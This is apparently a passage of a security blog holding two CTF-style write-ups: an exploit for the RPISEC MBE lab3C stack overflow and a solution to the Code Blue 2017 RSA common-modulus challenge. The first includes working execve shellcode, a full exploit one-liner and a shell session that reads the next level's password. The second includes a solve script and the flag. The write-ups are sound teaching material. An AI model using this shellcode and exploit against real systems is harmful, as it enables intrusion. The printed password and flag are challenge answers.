Starting program: /levels/lab03/lab3C 
********* ADMIN LOGIN PROMPT *********
Enter Username: rpisec
verifying username....

Enter Password: 
AAAA
(... gdb peda context is omitted here for brevity ...)
gdb-peda$ x/28x $esp
0xbffff690:     0xbffff6ac      0x00000064      0xb7fcdc20      0xb7eb8216
0xbffff6a0:     0xffffffff      0xbffff6ce      0xb7e2fbf8      0x41414141
0xbffff6b0:     0x0000000a      0x00000000      0x00000000      0x00000000
0xbffff6c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6f0:     0xb7fcd000      0x00000000      0x00000000      0xb7e3ca83

We can see that 0x41414141 is the AAAA we input. Indeed, the return address 0xb7e3ca83 is 80 bytes after the beginning of our buffer. All that’s left to do is to find an address to jump to and then craft our final payload.

Since the bytes near the return address may get overwritten (i for example), let’s put our shellcode such that it ends at least 16 bytes prior to the return address. Before our shellcode, we’ll have our nop sled of 0x90s. Our payload (in Python) looks like the following so far:

1
2
3
4
SHELLCODE = "\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
RET_ADDR = "????"
print "rpisec" # Remember to input the username
print "\x90"*36 + SHELLCODE + "\x90"*16 + RET_ADDR

Notice that we’re unsure what RET_ADDR should be. It just needs to be the address of somewhere in our NOP sled. In gdb, the beginning of a_user_pass was at 0xbffff6ac. This address is different when the program is run without gdb and it’s hard to say what the offset will be so it comes down to slight guesswork here. After trying a few addresses in the general range of the address I found in gdb, 0xbffff6c ended up being the first one I found that worked. In addition to using Python to pipe our exploit into the binary, we need to also use cat so that our shell prompt is not exited out. Our final exploit is as follows:

1
(python -c 'print "rpisec"; print "\x90"*36 + "\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*16 + "\x8c\xf6\xff\xbf"'; cat;) | ./lab3C

And here it is in action:

1
2
3
4
5
6
7
8
9
10
11
lab3C@warzone:/levels/lab03$ (python -c 'print "rpisec"; print "\x90"*36 + "\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*16 + "\x8c\xf6\xff\xbf"'; cat;) | ./lab3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password: 
nope, incorrect password...

whoami
lab3B
cat /home/lab3B/.pass
th3r3_iz_n0_4dm1ns_0n1y_U!

And we get the password for lab3B:

1
th3r3_iz_n0_4dm1ns_0n1y_U!
Crypto►Common Modulus Attack

Code Blue 2017 - Common Modulus 1 Writeup

I’m starting off this blog with a super easy writeup. The following problem was (at the time I solved it) the most solved problem in the CTF. In the coming days, I’ll hopefully update with more writeups. I’m currently working through RPISEC’s amazing MBE course and want to eventually post writeups of those labs.

Last week, I played for a couple hours in Code Blue CTF 2017 (it ran from Thursday to Friday – a less-than-ideal timing for people who work during the week). My friend 1ce0ear was already working through a pwnable when I hopped on so I chose to look at a crypto problem titled Common Modulus 1, since I have recently been working on improving my crypto skills through the Matasano/Cryptopals Crypto Challenges. The problem gave an archive with two files in it:

problem.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import *
from Crypto.Random.random import randint

import gmpy
import key

FLAG = long(key.FLAG.encode("hex"), 16)

def get_random_prime(bits=1024):
  return int(gmpy.next_prime(randint(2**(bits-1), 2**bits)))

def gen_n(bits=1024):
  p = getStrongPrime(bits)
  q = getStrongPrime(bits)
  return p*q, p, q

def encrypt(pk, m):
  assert m < pk[0]
  return pow(m, pk[1], pk[0])

def decrypt(pk, sk, c):
  return pow(c, sk[0], pk[0])

def test(n, p, q):
  e = get_random_prime(20)
  pk, sk = (n, e), (long(gmpy.invert(e, (p-1)*(q-1))), )
  print "[+] RSA Self Test: %r" % (pk, )
  c = encrypt(pk, FLAG)
  print "[+] ciphertext = %d" % c
  m = decrypt(pk, sk, c)
  print "[+] Dec(Enc(m)) == m? : %s" % (m == FLAG)


if __name__ == "__main__":
  n, p, q = gen_n(2048)
  test(n, p, q)
  test(n, p, q)

transcript.txt

1
2
3
4
5
6
[+] RSA Self Test: (791311309087374588934274354916349141233150778762086315374343850126808782284294921228110916322178898551691669133101997907127587121520288166574468605214516304122927763843434653215681360872523253290766297044510870617745122997739814947286892376888776319552516141136363673315815999597035068706744362048480852074989063152333880754375196551355543036200494314973628012006925154168913855587162465714207917714655810265293814697401062934881400969828166519415465439814160673468968009887672546243771190906300544375962002574334018175007498231632240021805593635057187842353840461973449205839419195826992169177108307004404365745462706797969436718212150888171299620800051183755681631250040936288149592343890616920153400691102933966724025765766418338452595218861582008026186067946508221264938736562082192890727980844444978081110599714993030990031363457184296168457089953510500474033234298252385232725393194957086065274263743550741242453140557383981358497807318476777558208795816650619401057283873302725816795298930817307745973266335447938091252055872816232968635169429875153933553733116356920185396530990560434510949092154539711124052490142742567527833751624924993906099869301505096094512729115132147653907827742334805918235749308541981388529841813147L, 813647)
[+] ciphertext = 767202255403494641285723819543278226263601155898823605265497361830705668240032418501494959141449028517100422081272691883369257107388411439611318808983979122090486252578041006071999581282663085495058515958745546211668701835250122032715473014598395050184702983368667972803718169481809394565706175141425650370279775233813674442957760484285820381853600163980060348710028919659329781877491724136976028815641232407109144869660767954119268355348405951052583739555066569345526640029961785158127382321111833599691079949415049786723663210542733655554868327542833053024595895523192888118675763242352407948643537985861448788568550308481655116845634952516676905251579084404308314639717162526798451410767058423619677212069270398132021729448047980766312818656065369023093123058422620085273728481545680423266197847937925342263870309939913221308330842487685037638837340238355192125668409039255551545407800543798158964963358868702135730305156935767426581823180696819366253148799571923731323928995477390559418822575259531941023518182807739949726026157027426545624061195471888653152768495272113769751755053321333829345939391638863918920798107792346015224509118930143010726156407828938941341788657835191853473698010478888928860138978235297618195944868175
[+] Dec(Enc(m)) == m? : True
[+] RSA Self Test: (791311309087374588934274354916349141233150778762086315374343850126808782284294921228110916322178898551691669133101997907127587121520288166574468605214516304122927763843434653215681360872523253290766297044510870617745122997739814947286892376888776319552516141136363673315815999597035068706744362048480852074989063152333880754375196551355543036200494314973628012006925154168913855587162465714207917714655810265293814697401062934881400969828166519415465439814160673468968009887672546243771190906300544375962002574334018175007498231632240021805593635057187842353840461973449205839419195826992169177108307004404365745462706797969436718212150888171299620800051183755681631250040936288149592343890616920153400691102933966724025765766418338452595218861582008026186067946508221264938736562082192890727980844444978081110599714993030990031363457184296168457089953510500474033234298252385232725393194957086065274263743550741242453140557383981358497807318476777558208795816650619401057283873302725816795298930817307745973266335447938091252055872816232968635169429875153933553733116356920185396530990560434510949092154539711124052490142742567527833751624924993906099869301505096094512729115132147653907827742334805918235749308541981388529841813147L, 846359)
[+] ciphertext = 393205642868817442649216793359718556278406137459770244761832906195960432918468617731069456704644789806507809829093842629745066759599286729538728368882491382997337611417441529220397067642218119525968897551289230558627870154984979444195757677411673096443476021362319325097662392808170632471553717355895219405644518503783235536597143112954291157798713583737689125917709618182162360535659223966858707155741267214975141963463832314566520144602105237041672437684177707624423211972004800873375670613148140256099552724408192217550331987310558991433383571470532995856778764797540637679226825577553396934734325550293550389623919904744913990305949697308222046594160302362669510242921299755255790640101006152269619965560742243168099219363626217512940995615730916134775134764069912120583282148219405178065222313607957426887495658080497917440100549199528894874905968298614233827155712422019324710018755792249855902168601927285980197334672067920857960628679370550895555840658121626134216719240409691397735762685349162277111815727100169755960553688569326705249270662470879197234836585418835845237231721910938341557726245940031873345666571751867755961294973426045629909899256967038811807893676700888551318830676356324765330202998096318754445585853694
[+] Dec(Enc(m)) == m? : True

The problem’s title gives us a huge hint: there is something called RSA Common Modulus Attack. problem.py shows us some generic code for encryption using RSA. We see our good friends n, p, q, and e. Looking at transcript.txt, we can see that the flag is encrypted twice. Both times, the encryption uses different values for e but the same n (or modulus) for RSA. There are many answers written about this but I found the answer by mikeazo on this stackexchange post most helpful. Basically, we can find two numbers a and b such that a * e1 + b * e2 = 1. Then from there, we use this a and b to get back to our plaintext. We can use the gcdext() function in the python gmpy2 package to find this a and b:

1
2
import gmpy2
not_used, a, b = gmpy2.gcdext(e1, e2)

Since one of these will be negative, we can also use gmpy2‘s invert() function to produce the i necessary in our final calculation of the plaintext message. 

1
i = int(gmpy2.invert(c2, n))

Finally, don’t forget that we want to use modular exponentiation so we don’t wait days for our python pow() function to compute exponents.

1
m = (pow(c1, int(a), n)*pow(i, -int(b), n))%n

The reason why we do casting of a and b to ints is due to the return type of gmpy2‘s functions that we use. Putting it all together (along with decoding the final ciphertext in hex format), we get the following script to solve for our original plaintext:

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import binascii
import gmpy2

n = 791311309087374588934274354916349141233150778762086315374343850126808782284294921228110916322178898551691669133101997907127587121520288166574468605214516304122927763843434653215681360872523253290766297044510870617745122997739814947286892376888776319552516141136363673315815999597035068706744362048480852074989063152333880754375196551355543036200494314973628012006925154168913855587162465714207917714655810265293814697401062934881400969828166519415465439814160673468968009887672546243771190906300544375962002574334018175007498231632240021805593635057187842353840461973449205839419195826992169177108307004404365745462706797969436718212150888171299620800051183755681631250040936288149592343890616920153400691102933966724025765766418338452595218861582008026186067946508221264938736562082192890727980844444978081110599714993030990031363457184296168457089953510500474033234298252385232725393194957086065274263743550741242453140557383981358497807318476777558208795816650619401057283873302725816795298930817307745973266335447938091252055872816232968635169429875153933553733116356920185396530990560434510949092154539711124052490142742567527833751624924993906099869301505096094512729115132147653907827742334805918235749308541981388529841813147L

e1 = 813647
e2 = 846359
c1 = 767202255403494641285723819543278226263601155898823605265497361830705668240032418501494959141449028517100422081272691883369257107388411439611318808983979122090486252578041006071999581282663085495058515958745546211668701835250122032715473014598395050184702983368667972803718169481809394565706175141425650370279775233813674442957760484285820381853600163980060348710028919659329781877491724136976028815641232407109144869660767954119268355348405951052583739555066569345526640029961785158127382321111833599691079949415049786723663210542733655554868327542833053024595895523192888118675763242352407948643537985861448788568550308481655116845634952516676905251579084404308314639717162526798451410767058423619677212069270398132021729448047980766312818656065369023093123058422620085273728481545680423266197847937925342263870309939913221308330842487685037638837340238355192125668409039255551545407800543798158964963358868702135730305156935767426581823180696819366253148799571923731323928995477390559418822575259531941023518182807739949726026157027426545624061195471888653152768495272113769751755053321333829345939391638863918920798107792346015224509118930143010726156407828938941341788657835191853473698010478888928860138978235297618195944868175
c2 = 393205642868817442649216793359718556278406137459770244761832906195960432918468617731069456704644789806507809829093842629745066759599286729538728368882491382997337611417441529220397067642218119525968897551289230558627870154984979444195757677411673096443476021362319325097662392808170632471553717355895219405644518503783235536597143112954291157798713583737689125917709618182162360535659223966858707155741267214975141963463832314566520144602105237041672437684177707624423211972004800873375670613148140256099552724408192217550331987310558991433383571470532995856778764797540637679226825577553396934734325550293550389623919904744913990305949697308222046594160302362669510242921299755255790640101006152269619965560742243168099219363626217512940995615730916134775134764069912120583282148219405178065222313607957426887495658080497917440100549199528894874905968298614233827155712422019324710018755792249855902168601927285980197334672067920857960628679370550895555840658121626134216719240409691397735762685349162277111815727100169755960553688569326705249270662470879197234836585418835845237231721910938341557726245940031873345666571751867755961294973426045629909899256967038811807893676700888551318830676356324765330202998096318754445585853694

not_used, a, b = gmpy2.gcdext(e1, e2)
assert a*e1 + b*e2 == 1

# We need this step since b comes out to be negative
i = int(gmpy2.invert(c2, n))

# Use modular exponentiation for faster computation
m = (pow(c1, int(a), n)*pow(i, -int(b), n))%n

# Print the flag from hex format
print binascii.unhexlify(hex(m)[2:-1])

And we get our flag:

1
2
$ python solve.py
CBCTF{6ac2afd2fc108894db8ab21d1e30d3f3}